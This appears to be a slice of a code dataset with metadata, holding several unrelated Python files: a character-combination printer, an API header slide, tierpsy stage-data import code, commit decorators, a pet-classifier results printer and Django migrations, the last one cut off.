#combos made to range from 1 character to 8#
combos = itertools.product((options),repeat = 3)
# x = iter(combos)
# def printnext(it):
# print(next(it))
# return 0
# with concurrent.futures.ThreadPoolExecutor() as executor:
# result = [executor.submit(printnext, x) for _ in range(200)]
count = 0
for i in combos:
print(i)
count+=1
if(count == 200): break
| import itertools, zipfile, time
import concurrent.futures
options = 'abcdefghijklmnopqrstuvwxyz0123456789'
#combos made to range from 1 character to 8#
combos = itertools.product((options),repeat = 3)
# x = iter(combos)
# def printnext(it):
# print(next(it))
# return 0
# with concurrent.futures.ThreadPoolExecutor() as executor:
# result = [executor.submit(printnext, x) for _ in range(200)]
count = 0
for i in combos:
print(i)
count+=1
if(count == 200): break | en | 0.776674 | #combos made to range from 1 character to 8# # x = iter(combos) # def printnext(it): # print(next(it)) # return 0 # with concurrent.futures.ThreadPoolExecutor() as executor: # result = [executor.submit(printnext, x) for _ in range(200)] | 3.002462 | 3 |
slide_12.py | JakeRoggenbuck/strategy_presentation_numpy | 0 | 6623576 | <gh_stars>0
# Not runnable
key = "<KEY>"
request_headers = {"X-TBA-Auth-Key": key}
{"X-TBA-Auth-Key": "<KEY>"}
| # Not runnable
key = "<KEY>"
request_headers = {"X-TBA-Auth-Key": key}
{"X-TBA-Auth-Key": "<KEY>"} | en | 0.791515 | # Not runnable | 1.396844 | 1 |
tierpsy/analysis/compress_add_data/getAdditionalData.py | mgh17/tierpsy-tracker | 9 | 6623577 | """
# -*- coding: utf-8 -*-
Created on Thu Dec 17 10:10:35 2015
@author: ajaver
"""
import os
import stat
import xml.etree.ElementTree as ET
import tables
import numpy as np
import csv
from collections import OrderedDict
#%% Read/Store the XML file with the pixel size and fps info
def storeXMLInfo(info_file, masked_image_file):
with open(info_file, 'r') as fid:
xml_info = fid.read()
# if it is empty the xml create a node and exit
if not xml_info:
with tables.File(masked_image_file, 'r+') as fid:
fid.create_array('/', 'xml_info', obj=bytes('', 'utf-8'))
return
# read the xml and exit
root = ET.fromstring(xml_info)
x_microns = float(root.findall(
'./info/stage/steps/equivalent/microns/x')[0].text)
y_microns = float(root.findall(
'./info/stage/steps/equivalent/microns/y')[0].text)
x_pixels = float(root.findall(
'./info/stage/steps/equivalent/pixels/x')[0].text)
y_pixels = float(root.findall(
'./info/stage/steps/equivalent/pixels/y')[0].text)
fps = float(root.findall('./info/camera/display/frame/rate')[0].text)
pixels2microns_x = x_microns / x_pixels
pixels2microns_y = y_microns / y_pixels
with tables.File(masked_image_file, 'r+') as fid:
if '/xml_info' in fid:
fid.remove_node('/', 'xml_info')
xml_node = fid.create_array(
'/',
'xml_info',
obj=bytes(
xml_info,
'utf-8'))
masks_node = fid.get_node('/', 'mask')
masks_node.attrs['fps'] = fps
masks_node.attrs['pixels2microns_x'] = pixels2microns_x
masks_node.attrs['pixels2microns_y'] = pixels2microns_y
# Read the scale conversions, we would need this when we want to convert the pixels into microns
pixelPerMicronX = 1/pixels2microns_x
pixelPerMicronY = 1/pixels2microns_y
normScale = np.sqrt((pixelPerMicronX ** 2 + pixelPerMicronX ** 2) / 2);
pixelPerMicronScale = normScale * np.array((np.sign(pixelPerMicronX), np.sign(pixelPerMicronY)));
assert np.abs(pixelPerMicronScale[0]) == np.abs(pixelPerMicronScale[1])
masks_node.attrs['microns_per_pixel'] = np.abs(pixelPerMicronScale[0])
masks_node.attrs['xy_units'] = 'micrometers'
#%% Read/Store the CSV file with the stage positions
def storeStageData(stage_file, masked_image_file):
# read motor data from csv
with open(stage_file) as fid:
reader = csv.reader(fid)
data = [line for line in reader]
# if the csv lines must be larger than one (a header), othewise it is an
# empty file
if len(data) <= 1:
with tables.File(masked_image_file, 'r+') as fid:
dtype = [('real_time', int), ('stage_time', int),
('stage_x', float), ('stage_y', float)]
fid.create_table('/', 'stage_log', obj=np.recarray(0, dtype))
return
#import pdb
# pdb.set_trace()
# filter, check and store the data into a recarray
header, data = _getHeader(data)
csv_dict = _data2dict(header, data)
stage_recarray = _dict2recarray(csv_dict)
with tables.File(masked_image_file, 'r+') as mask_fid:
if '/stage_log' in mask_fid:
mask_fid.remove_node('/', 'stage_log')
mask_fid.create_table('/', 'stage_log', obj=stage_recarray)
return csv_dict
def _timestr2sec(timestr):
time_parts = [float(x) for x in timestr.split(':')]
return sum((60**ii) * part for ii, part in enumerate(time_parts[::-1]))
def _getHeader(data):
assert data
# find header (it is not always the first line)
for ii, line in enumerate(data):
if line[0] == 'Real Time':
break
assert(ii < len(line) - 1)
header = data.pop(ii)
# check that the expected columns are in header
expected_header = [
'Real Time',
'Media Time',
'Location Type',
'Centroid/Stage/Speed X (microns[/second])',
'Centroid/Stage/Speed Y (microns[/second])',
'MER Min X (microns)',
'MER Min Y (microns)',
'MER Width (microns)',
'MER Height (microns)']
assert all(col in expected_header for col in header)
return header, data
def _data2dict(header, data):
# read the csv data into a dictionary where each field is the data from a
# column
assert data
# filter any possible croped data
data = [x for x in data if len(x) == len(header)]
# save data into a dictionary
csv_dict = {}
for ii, col_data in enumerate(zip(*data)):
csv_dict[header[ii]] = col_data
# Check the data is correct
# This is not really a necessary assertion this STAGE flag does not seem useuful.
#assert all(x == 'STAGE' for x in csv_dict['Location Type'])
del csv_dict['Location Type']
# delete this columns
# for col_name in ['MER Min X (microns)', 'MER Min Y (microns)', \
#'MER Width (microns)', 'MER Height (microns)']:
# if col_name in csv_dict
#assert all(not x for x in csv_dict[col_name])
#del csv_dict[col_name]
return csv_dict
def _dict2recarray(csv_dict):
# convert the csv data into a recarray compatible with pytables
dat = OrderedDict()
dat['real_time'] = np.array([bytes(x, 'utf-8')
for x in csv_dict['Real Time']])
dat['stage_time'] = np.array([_timestr2sec(x)
for x in csv_dict['Media Time']])
dat['stage_x'] = np.array(
[float(d) for d in csv_dict['Centroid/Stage/Speed X (microns[/second])']])
dat['stage_y'] = np.array(
[float(d) for d in csv_dict['Centroid/Stage/Speed Y (microns[/second])']])
# convert into recarray (pytables friendly)
dtype = [(kk, dat[kk].dtype) for kk in dat]
N = len(dat['stage_x'])
stage_recarray = np.recarray(N, dtype)
for kk in dat:
stage_recarray[kk] = dat[kk]
return stage_recarray
def getAdditionalFiles(video_file):
if not (os.path.exists(video_file)):
raise FileNotFoundError(video_file)
base_name = os.path.splitext(video_file)[0]
info_file = base_name + '.info.xml'
stage_file = base_name + '.log.csv'
info_file = _getValidFile(info_file)
stage_file = _getValidFile(stage_file)
return info_file, stage_file
def hasAdditionalFiles(video_file):
try:
getAdditionalFiles(video_file)
return True
except FileNotFoundError:
return False
def _insertDirectory(original_file, dir2add):
dd = os.path.split(original_file)
return os.path.join(dd[0], dir2add, dd[1])
def _getValidFile(file_name):
if not os.path.exists(file_name):
file_name = _insertDirectory(file_name, '.data')
if not os.path.exists(file_name):
raise FileNotFoundError(
'Additional %s file do not exists.' %
file_name)
# if (os.stat(file_name).st_size == 0):
# raise IOError('%s is empty' % file_name)
return file_name
#%% main function to store the additional data
def storeAdditionalDataSW(video_file, masked_image_file):
assert(os.path.exists(video_file))
assert(os.path.exists(masked_image_file))
info_file, stage_file = getAdditionalFiles(video_file)
assert(os.path.exists(video_file))
assert(os.path.exists(stage_file))
# store data
storeXMLInfo(info_file, masked_image_file)
storeStageData(stage_file, masked_image_file)
with tables.File(masked_image_file, 'r+') as mask_fid:
mask_fid.get_node('/mask').attrs['has_finished'] = 2
# DEPRECATED
def walkXML(curr_node, params=[], curr_path=''):
'''
Return the structure of a ElementTree into a directory list.
I am not really using this function but it is cool.
'''
curr_path += '/' + curr_node.tag
if len(curr_node) == 0:
param.append((curr_path, curr_node.text))
return params
for node in curr_node:
walkXML(node, params, curr_path)
| """
# -*- coding: utf-8 -*-
Created on Thu Dec 17 10:10:35 2015
@author: ajaver
"""
import os
import stat
import xml.etree.ElementTree as ET
import tables
import numpy as np
import csv
from collections import OrderedDict
#%% Read/Store the XML file with the pixel size and fps info
def storeXMLInfo(info_file, masked_image_file):
with open(info_file, 'r') as fid:
xml_info = fid.read()
# if it is empty the xml create a node and exit
if not xml_info:
with tables.File(masked_image_file, 'r+') as fid:
fid.create_array('/', 'xml_info', obj=bytes('', 'utf-8'))
return
# read the xml and exit
root = ET.fromstring(xml_info)
x_microns = float(root.findall(
'./info/stage/steps/equivalent/microns/x')[0].text)
y_microns = float(root.findall(
'./info/stage/steps/equivalent/microns/y')[0].text)
x_pixels = float(root.findall(
'./info/stage/steps/equivalent/pixels/x')[0].text)
y_pixels = float(root.findall(
'./info/stage/steps/equivalent/pixels/y')[0].text)
fps = float(root.findall('./info/camera/display/frame/rate')[0].text)
pixels2microns_x = x_microns / x_pixels
pixels2microns_y = y_microns / y_pixels
with tables.File(masked_image_file, 'r+') as fid:
if '/xml_info' in fid:
fid.remove_node('/', 'xml_info')
xml_node = fid.create_array(
'/',
'xml_info',
obj=bytes(
xml_info,
'utf-8'))
masks_node = fid.get_node('/', 'mask')
masks_node.attrs['fps'] = fps
masks_node.attrs['pixels2microns_x'] = pixels2microns_x
masks_node.attrs['pixels2microns_y'] = pixels2microns_y
# Read the scale conversions, we would need this when we want to convert the pixels into microns
pixelPerMicronX = 1/pixels2microns_x
pixelPerMicronY = 1/pixels2microns_y
normScale = np.sqrt((pixelPerMicronX ** 2 + pixelPerMicronX ** 2) / 2);
pixelPerMicronScale = normScale * np.array((np.sign(pixelPerMicronX), np.sign(pixelPerMicronY)));
assert np.abs(pixelPerMicronScale[0]) == np.abs(pixelPerMicronScale[1])
masks_node.attrs['microns_per_pixel'] = np.abs(pixelPerMicronScale[0])
masks_node.attrs['xy_units'] = 'micrometers'
#%% Read/Store the CSV file with the stage positions
def storeStageData(stage_file, masked_image_file):
# read motor data from csv
with open(stage_file) as fid:
reader = csv.reader(fid)
data = [line for line in reader]
# if the csv lines must be larger than one (a header), othewise it is an
# empty file
if len(data) <= 1:
with tables.File(masked_image_file, 'r+') as fid:
dtype = [('real_time', int), ('stage_time', int),
('stage_x', float), ('stage_y', float)]
fid.create_table('/', 'stage_log', obj=np.recarray(0, dtype))
return
#import pdb
# pdb.set_trace()
# filter, check and store the data into a recarray
header, data = _getHeader(data)
csv_dict = _data2dict(header, data)
stage_recarray = _dict2recarray(csv_dict)
with tables.File(masked_image_file, 'r+') as mask_fid:
if '/stage_log' in mask_fid:
mask_fid.remove_node('/', 'stage_log')
mask_fid.create_table('/', 'stage_log', obj=stage_recarray)
return csv_dict
def _timestr2sec(timestr):
time_parts = [float(x) for x in timestr.split(':')]
return sum((60**ii) * part for ii, part in enumerate(time_parts[::-1]))
def _getHeader(data):
assert data
# find header (it is not always the first line)
for ii, line in enumerate(data):
if line[0] == 'Real Time':
break
assert(ii < len(line) - 1)
header = data.pop(ii)
# check that the expected columns are in header
expected_header = [
'Real Time',
'Media Time',
'Location Type',
'Centroid/Stage/Speed X (microns[/second])',
'Centroid/Stage/Speed Y (microns[/second])',
'MER Min X (microns)',
'MER Min Y (microns)',
'MER Width (microns)',
'MER Height (microns)']
assert all(col in expected_header for col in header)
return header, data
def _data2dict(header, data):
# read the csv data into a dictionary where each field is the data from a
# column
assert data
# filter any possible croped data
data = [x for x in data if len(x) == len(header)]
# save data into a dictionary
csv_dict = {}
for ii, col_data in enumerate(zip(*data)):
csv_dict[header[ii]] = col_data
# Check the data is correct
# This is not really a necessary assertion this STAGE flag does not seem useuful.
#assert all(x == 'STAGE' for x in csv_dict['Location Type'])
del csv_dict['Location Type']
# delete this columns
# for col_name in ['MER Min X (microns)', 'MER Min Y (microns)', \
#'MER Width (microns)', 'MER Height (microns)']:
# if col_name in csv_dict
#assert all(not x for x in csv_dict[col_name])
#del csv_dict[col_name]
return csv_dict
def _dict2recarray(csv_dict):
# convert the csv data into a recarray compatible with pytables
dat = OrderedDict()
dat['real_time'] = np.array([bytes(x, 'utf-8')
for x in csv_dict['Real Time']])
dat['stage_time'] = np.array([_timestr2sec(x)
for x in csv_dict['Media Time']])
dat['stage_x'] = np.array(
[float(d) for d in csv_dict['Centroid/Stage/Speed X (microns[/second])']])
dat['stage_y'] = np.array(
[float(d) for d in csv_dict['Centroid/Stage/Speed Y (microns[/second])']])
# convert into recarray (pytables friendly)
dtype = [(kk, dat[kk].dtype) for kk in dat]
N = len(dat['stage_x'])
stage_recarray = np.recarray(N, dtype)
for kk in dat:
stage_recarray[kk] = dat[kk]
return stage_recarray
def getAdditionalFiles(video_file):
if not (os.path.exists(video_file)):
raise FileNotFoundError(video_file)
base_name = os.path.splitext(video_file)[0]
info_file = base_name + '.info.xml'
stage_file = base_name + '.log.csv'
info_file = _getValidFile(info_file)
stage_file = _getValidFile(stage_file)
return info_file, stage_file
def hasAdditionalFiles(video_file):
try:
getAdditionalFiles(video_file)
return True
except FileNotFoundError:
return False
def _insertDirectory(original_file, dir2add):
dd = os.path.split(original_file)
return os.path.join(dd[0], dir2add, dd[1])
def _getValidFile(file_name):
if not os.path.exists(file_name):
file_name = _insertDirectory(file_name, '.data')
if not os.path.exists(file_name):
raise FileNotFoundError(
'Additional %s file do not exists.' %
file_name)
# if (os.stat(file_name).st_size == 0):
# raise IOError('%s is empty' % file_name)
return file_name
#%% main function to store the additional data
def storeAdditionalDataSW(video_file, masked_image_file):
assert(os.path.exists(video_file))
assert(os.path.exists(masked_image_file))
info_file, stage_file = getAdditionalFiles(video_file)
assert(os.path.exists(video_file))
assert(os.path.exists(stage_file))
# store data
storeXMLInfo(info_file, masked_image_file)
storeStageData(stage_file, masked_image_file)
with tables.File(masked_image_file, 'r+') as mask_fid:
mask_fid.get_node('/mask').attrs['has_finished'] = 2
# DEPRECATED
def walkXML(curr_node, params=[], curr_path=''):
'''
Return the structure of a ElementTree into a directory list.
I am not really using this function but it is cool.
'''
curr_path += '/' + curr_node.tag
if len(curr_node) == 0:
param.append((curr_path, curr_node.text))
return params
for node in curr_node:
walkXML(node, params, curr_path)
| en | 0.792479 | # -*- coding: utf-8 -*- Created on Thu Dec 17 10:10:35 2015 @author: ajaver #%% Read/Store the XML file with the pixel size and fps info # if it is empty the xml create a node and exit # read the xml and exit # Read the scale conversions, we would need this when we want to convert the pixels into microns #%% Read/Store the CSV file with the stage positions # read motor data from csv # if the csv lines must be larger than one (a header), othewise it is an # empty file #import pdb # pdb.set_trace() # filter, check and store the data into a recarray # find header (it is not always the first line) # check that the expected columns are in header # read the csv data into a dictionary where each field is the data from a # column # filter any possible croped data # save data into a dictionary # Check the data is correct # This is not really a necessary assertion this STAGE flag does not seem useuful. #assert all(x == 'STAGE' for x in csv_dict['Location Type']) # delete this columns # for col_name in ['MER Min X (microns)', 'MER Min Y (microns)', \ #'MER Width (microns)', 'MER Height (microns)']: # if col_name in csv_dict #assert all(not x for x in csv_dict[col_name]) #del csv_dict[col_name] # convert the csv data into a recarray compatible with pytables # convert into recarray (pytables friendly) # if (os.stat(file_name).st_size == 0): # raise IOError('%s is empty' % file_name) #%% main function to store the additional data # store data # DEPRECATED Return the structure of a ElementTree into a directory list. I am not really using this function but it is cool. | 2.262056 | 2 |
commitroll/commitable.py | claybrooks/commitroll | 0 | 6623578 | <reponame>claybrooks/commitroll<gh_stars>0
from functools import wraps
COMMIT="1__commit"
NO_COMMIT="2__no_commit"
COMMIT_ALL="3__commit_all"
SAVE_STATE="4__save_state"
def Commit(func):
setattr(func, COMMIT, True)
return func
def NoCommit(obj):
setattr(obj, NO_COMMIT, True)
return obj
def CommitAll(obj):
setattr(obj, COMMIT_ALL, True)
return obj
def SaveState(_lambda):
def wrapper(f):
@wraps(f)
def wrapped(inst, *args, **kwargs):
f(inst, *args, **kwargs)
setattr(inst, SAVE_STATE, list(_lambda(inst)))
return wrapped
return wrapper
| from functools import wraps
COMMIT="1__commit"
NO_COMMIT="2__no_commit"
COMMIT_ALL="3__commit_all"
SAVE_STATE="4__save_state"
def Commit(func):
setattr(func, COMMIT, True)
return func
def NoCommit(obj):
setattr(obj, NO_COMMIT, True)
return obj
def CommitAll(obj):
setattr(obj, COMMIT_ALL, True)
return obj
def SaveState(_lambda):
def wrapper(f):
@wraps(f)
def wrapped(inst, *args, **kwargs):
f(inst, *args, **kwargs)
setattr(inst, SAVE_STATE, list(_lambda(inst)))
return wrapped
return wrapper | none | 1 | 2.574703 | 3 | |
intropyproject-classify-pet-images/print_results.py | petercm/AIPND-revision | 0 | 6623579 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# */AIPND-revision/intropyproject-classify-pet-images/print_results.py
#
# PROGRAMMER: petercm
# DATE CREATED: 01/03/2019
# REVISED DATE:
# PURPOSE: Create a function print_results that prints the results statistics
# from the results statistics dictionary (results_stats_dic). It
# should also allow the user to be able to print out cases of misclassified
# dogs and cases of misclassified breeds of dog using the Results
# dictionary (results_dic).
# This function inputs:
# -The results dictionary as results_dic within print_results
# function and results for the function call within main.
# -The results statistics dictionary as results_stats_dic within
# print_results function and results_stats for the function call within main.
# -The CNN model architecture as model wihtin print_results function
# and in_arg.arch for the function call within main.
# -Prints Incorrectly Classified Dogs as print_incorrect_dogs within
# print_results function and set as either boolean value True or
# False in the function call within main (defaults to False)
# -Prints Incorrectly Classified Breeds as print_incorrect_breed within
# print_results function and set as either boolean value True or
# False in the function call within main (defaults to False)
# This function does not output anything other than printing a summary
# of the final results.
##
# TODO 6: Define print_results function below, specifically replace the None
# below by the function definition of the print_results function.
# Notice that this function doesn't to return anything because it
# prints a summary of the results using results_dic and results_stats_dic
#
stat_labels = {
'n_images': 'Number of Images',
'n_dogs_img': 'Number of Dog Images',
'n_notdogs_img': 'Number of "Not-a" Dog Images',
'n_match': 'Number of Correct Matches',
'n_correct_dogs': 'Number of Correct Dog Matches',
'n_correct_notdogs': 'Number of Correct "Not-a" Dog Matches',
'n_correct_breed': 'Number of Correct Breed Matches',
'pct_match': '% Match',
'pct_correct_dogs': '% Correct Dogs',
'pct_correct_breed': '% Correct Breed',
'pct_correct_notdogs': '% Correct "Not-a" Dog'
}
def print_stat(label, stat=''):
print("| {:43} {:>17} |".format(label, stat))
def print_misclassified(results_dic, filter):
for key in results_dic:
result = results_dic[key]
if filter(result):
print("|")
print("| {:30} {}".format(key, result[0]))
print("| {:30} {}".format('', result[1]))
def print_results(results_dic, results_stats_dic, model,
print_incorrect_dogs = False, print_incorrect_breed = False):
"""
Prints summary results on the classification and then prints incorrectly
classified dogs and incorrectly classified dog breeds if user indicates
they want those printouts (use non-default values)
Parameters:
results_dic - Dictionary with key as image filename and value as a List
(index)idx 0 = pet image label (string)
idx 1 = classifier label (string)
idx 2 = 1/0 (int) where 1 = match between pet image and
classifer labels and 0 = no match between labels
idx 3 = 1/0 (int) where 1 = pet image 'is-a' dog and
0 = pet Image 'is-NOT-a' dog.
idx 4 = 1/0 (int) where 1 = Classifier classifies image
'as-a' dog and 0 = Classifier classifies image
'as-NOT-a' dog.
results_stats_dic - Dictionary that contains the results statistics (either
a percentage or a count) where the key is the statistic's
name (starting with 'pct' for percentage or 'n' for count)
and the value is the statistic's value
model - Indicates which CNN model architecture will be used by the
classifier function to classify the pet images,
values must be either: resnet alexnet vgg (string)
print_incorrect_dogs - True prints incorrectly classified dog images and
False doesn't print anything(default) (bool)
print_incorrect_breed - True prints incorrectly classified dog breeds and
False doesn't print anything(default) (bool)
Returns:
None - simply printing results.
"""
print("\n")
print("-----------------------------------------------------------------")
print_stat('Dog breed classification results for model:', model)
print("|---------------------------------------------------------------|")
for stat_key in ['n_images', 'n_dogs_img', 'n_notdogs_img']:
print_stat(stat_labels[stat_key], results_stats_dic[stat_key])
print("|---------------------------------------------------------------|")
for stat_key in stat_labels:
if stat_key.startswith('pct_'):
print_stat(stat_labels[stat_key], results_stats_dic[stat_key])
print("|---------------------------------------------------------------|")
n_correct_dogs = results_stats_dic['n_correct_dogs']
n_correct_notdogs = results_stats_dic['n_correct_notdogs']
n_correct_breed = results_stats_dic['n_correct_breed']
if print_incorrect_dogs:
n_dog_misses = results_stats_dic['n_images'] - n_correct_dogs - n_correct_notdogs
if n_dog_misses > 0:
print_stat('Some dogs were misclassified:', n_dog_misses)
print_misclassified(results_dic,
lambda result: sum(result[3:]) == 1)
else:
print_stat('No dogs were misclassified')
print("|---------------------------------------------------------------|")
if print_incorrect_breed:
n_breed_misses = n_correct_dogs - n_correct_breed
if n_breed_misses > 0:
print_stat('Some breeds were misclassified:', n_breed_misses)
print_misclassified(results_dic,
lambda result: sum(result[3:]) == 2 and result[2] == 0)
else:
print_stat('No breeds were misclassified')
print("|---------------------------------------------------------------|")
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# */AIPND-revision/intropyproject-classify-pet-images/print_results.py
#
# PROGRAMMER: petercm
# DATE CREATED: 01/03/2019
# REVISED DATE:
# PURPOSE: Create a function print_results that prints the results statistics
# from the results statistics dictionary (results_stats_dic). It
# should also allow the user to be able to print out cases of misclassified
# dogs and cases of misclassified breeds of dog using the Results
# dictionary (results_dic).
# This function inputs:
# -The results dictionary as results_dic within print_results
# function and results for the function call within main.
# -The results statistics dictionary as results_stats_dic within
# print_results function and results_stats for the function call within main.
# -The CNN model architecture as model wihtin print_results function
# and in_arg.arch for the function call within main.
# -Prints Incorrectly Classified Dogs as print_incorrect_dogs within
# print_results function and set as either boolean value True or
# False in the function call within main (defaults to False)
# -Prints Incorrectly Classified Breeds as print_incorrect_breed within
# print_results function and set as either boolean value True or
# False in the function call within main (defaults to False)
# This function does not output anything other than printing a summary
# of the final results.
##
# TODO 6: Define print_results function below, specifically replace the None
# below by the function definition of the print_results function.
# Notice that this function doesn't to return anything because it
# prints a summary of the results using results_dic and results_stats_dic
#
stat_labels = {
'n_images': 'Number of Images',
'n_dogs_img': 'Number of Dog Images',
'n_notdogs_img': 'Number of "Not-a" Dog Images',
'n_match': 'Number of Correct Matches',
'n_correct_dogs': 'Number of Correct Dog Matches',
'n_correct_notdogs': 'Number of Correct "Not-a" Dog Matches',
'n_correct_breed': 'Number of Correct Breed Matches',
'pct_match': '% Match',
'pct_correct_dogs': '% Correct Dogs',
'pct_correct_breed': '% Correct Breed',
'pct_correct_notdogs': '% Correct "Not-a" Dog'
}
def print_stat(label, stat=''):
print("| {:43} {:>17} |".format(label, stat))
def print_misclassified(results_dic, filter):
for key in results_dic:
result = results_dic[key]
if filter(result):
print("|")
print("| {:30} {}".format(key, result[0]))
print("| {:30} {}".format('', result[1]))
def print_results(results_dic, results_stats_dic, model,
print_incorrect_dogs = False, print_incorrect_breed = False):
"""
Prints summary results on the classification and then prints incorrectly
classified dogs and incorrectly classified dog breeds if user indicates
they want those printouts (use non-default values)
Parameters:
results_dic - Dictionary with key as image filename and value as a List
(index)idx 0 = pet image label (string)
idx 1 = classifier label (string)
idx 2 = 1/0 (int) where 1 = match between pet image and
classifer labels and 0 = no match between labels
idx 3 = 1/0 (int) where 1 = pet image 'is-a' dog and
0 = pet Image 'is-NOT-a' dog.
idx 4 = 1/0 (int) where 1 = Classifier classifies image
'as-a' dog and 0 = Classifier classifies image
'as-NOT-a' dog.
results_stats_dic - Dictionary that contains the results statistics (either
a percentage or a count) where the key is the statistic's
name (starting with 'pct' for percentage or 'n' for count)
and the value is the statistic's value
model - Indicates which CNN model architecture will be used by the
classifier function to classify the pet images,
values must be either: resnet alexnet vgg (string)
print_incorrect_dogs - True prints incorrectly classified dog images and
False doesn't print anything(default) (bool)
print_incorrect_breed - True prints incorrectly classified dog breeds and
False doesn't print anything(default) (bool)
Returns:
None - simply printing results.
"""
print("\n")
print("-----------------------------------------------------------------")
print_stat('Dog breed classification results for model:', model)
print("|---------------------------------------------------------------|")
for stat_key in ['n_images', 'n_dogs_img', 'n_notdogs_img']:
print_stat(stat_labels[stat_key], results_stats_dic[stat_key])
print("|---------------------------------------------------------------|")
for stat_key in stat_labels:
if stat_key.startswith('pct_'):
print_stat(stat_labels[stat_key], results_stats_dic[stat_key])
print("|---------------------------------------------------------------|")
n_correct_dogs = results_stats_dic['n_correct_dogs']
n_correct_notdogs = results_stats_dic['n_correct_notdogs']
n_correct_breed = results_stats_dic['n_correct_breed']
if print_incorrect_dogs:
n_dog_misses = results_stats_dic['n_images'] - n_correct_dogs - n_correct_notdogs
if n_dog_misses > 0:
print_stat('Some dogs were misclassified:', n_dog_misses)
print_misclassified(results_dic,
lambda result: sum(result[3:]) == 1)
else:
print_stat('No dogs were misclassified')
print("|---------------------------------------------------------------|")
if print_incorrect_breed:
n_breed_misses = n_correct_dogs - n_correct_breed
if n_breed_misses > 0:
print_stat('Some breeds were misclassified:', n_breed_misses)
print_misclassified(results_dic,
lambda result: sum(result[3:]) == 2 and result[2] == 0)
else:
print_stat('No breeds were misclassified')
print("|---------------------------------------------------------------|")
| en | 0.7831 | #!/usr/bin/env python3 # -*- coding: utf-8 -*- # */AIPND-revision/intropyproject-classify-pet-images/print_results.py # # PROGRAMMER: petercm # DATE CREATED: 01/03/2019 # REVISED DATE: # PURPOSE: Create a function print_results that prints the results statistics # from the results statistics dictionary (results_stats_dic). It # should also allow the user to be able to print out cases of misclassified # dogs and cases of misclassified breeds of dog using the Results # dictionary (results_dic). # This function inputs: # -The results dictionary as results_dic within print_results # function and results for the function call within main. # -The results statistics dictionary as results_stats_dic within # print_results function and results_stats for the function call within main. # -The CNN model architecture as model wihtin print_results function # and in_arg.arch for the function call within main. # -Prints Incorrectly Classified Dogs as print_incorrect_dogs within # print_results function and set as either boolean value True or # False in the function call within main (defaults to False) # -Prints Incorrectly Classified Breeds as print_incorrect_breed within # print_results function and set as either boolean value True or # False in the function call within main (defaults to False) # This function does not output anything other than printing a summary # of the final results. ## # TODO 6: Define print_results function below, specifically replace the None # below by the function definition of the print_results function. # Notice that this function doesn't to return anything because it # prints a summary of the results using results_dic and results_stats_dic # Prints summary results on the classification and then prints incorrectly classified dogs and incorrectly classified dog breeds if user indicates they want those printouts (use non-default values) Parameters: results_dic - Dictionary with key as image filename and value as a List (index)idx 0 = pet image label (string) idx 1 = classifier label (string) idx 2 = 1/0 (int) where 1 = match between pet image and classifer labels and 0 = no match between labels idx 3 = 1/0 (int) where 1 = pet image 'is-a' dog and 0 = pet Image 'is-NOT-a' dog. idx 4 = 1/0 (int) where 1 = Classifier classifies image 'as-a' dog and 0 = Classifier classifies image 'as-NOT-a' dog. results_stats_dic - Dictionary that contains the results statistics (either a percentage or a count) where the key is the statistic's name (starting with 'pct' for percentage or 'n' for count) and the value is the statistic's value model - Indicates which CNN model architecture will be used by the classifier function to classify the pet images, values must be either: resnet alexnet vgg (string) print_incorrect_dogs - True prints incorrectly classified dog images and False doesn't print anything(default) (bool) print_incorrect_breed - True prints incorrectly classified dog breeds and False doesn't print anything(default) (bool) Returns: None - simply printing results. | 3.124228 | 3 |
kitsune/karma/migrations/0001_initial.py | navgurukul-shivani18/kitsune | 929 | 6623580 | <filename>kitsune/karma/migrations/0001_initial.py
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
('auth', '0001_initial'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Title',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('name', models.CharField(unique=True, max_length=100)),
('is_auto', models.BooleanField(default=False)),
('groups', models.ManyToManyField(help_text=b'Assign this title to these groups.', to='auth.Group', blank=True)),
('users', models.ManyToManyField(help_text=b'Assign this title to these users.', to=settings.AUTH_USER_MODEL, blank=True)),
],
options={
'abstract': False,
},
bases=(models.Model,),
),
]
| <filename>kitsune/karma/migrations/0001_initial.py
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
('auth', '0001_initial'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Title',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('name', models.CharField(unique=True, max_length=100)),
('is_auto', models.BooleanField(default=False)),
('groups', models.ManyToManyField(help_text=b'Assign this title to these groups.', to='auth.Group', blank=True)),
('users', models.ManyToManyField(help_text=b'Assign this title to these users.', to=settings.AUTH_USER_MODEL, blank=True)),
],
options={
'abstract': False,
},
bases=(models.Model,),
),
]
| en | 0.769321 | # -*- coding: utf-8 -*- | 1.747541 | 2 |
contacts/migrations/0012_auto_20190418_0543.py | martbln/django-service-boilerplate | 18 | 6623581 | <filename>contacts/migrations/0012_auto_20190418_0543.py
# Generated by Django 2.1.7 on 2019-04-18 05:43
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import pik.core.models.uided
import simple_history.models
import core.fields
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('contacts', '0011_auto_20190403_0607'),
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
('created', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='created')),
('updated', models.DateTimeField(auto_now=True, db_index=True, verbose_name='updated')),
('uid', models.UUIDField(default=pik.core.models.uided._new_uid, editable=False, primary_key=True, serialize=False)),
('version', models.IntegerField(editable=False)),
('name', core.fields.NormalizedCharField(max_length=255, verbose_name='Название')),
('parent', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='contacts.Category')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='HistoricalCategory',
fields=[
('created', models.DateTimeField(blank=True, db_index=True, editable=False, verbose_name='created')),
('updated', models.DateTimeField(blank=True, db_index=True, editable=False, verbose_name='updated')),
('uid', models.UUIDField(db_index=True, default=pik.core.models.uided._new_uid, editable=False)),
('version', models.IntegerField(editable=False)),
('name', core.fields.NormalizedCharField(max_length=255, verbose_name='Название')),
('history_id', models.AutoField(primary_key=True, serialize=False)),
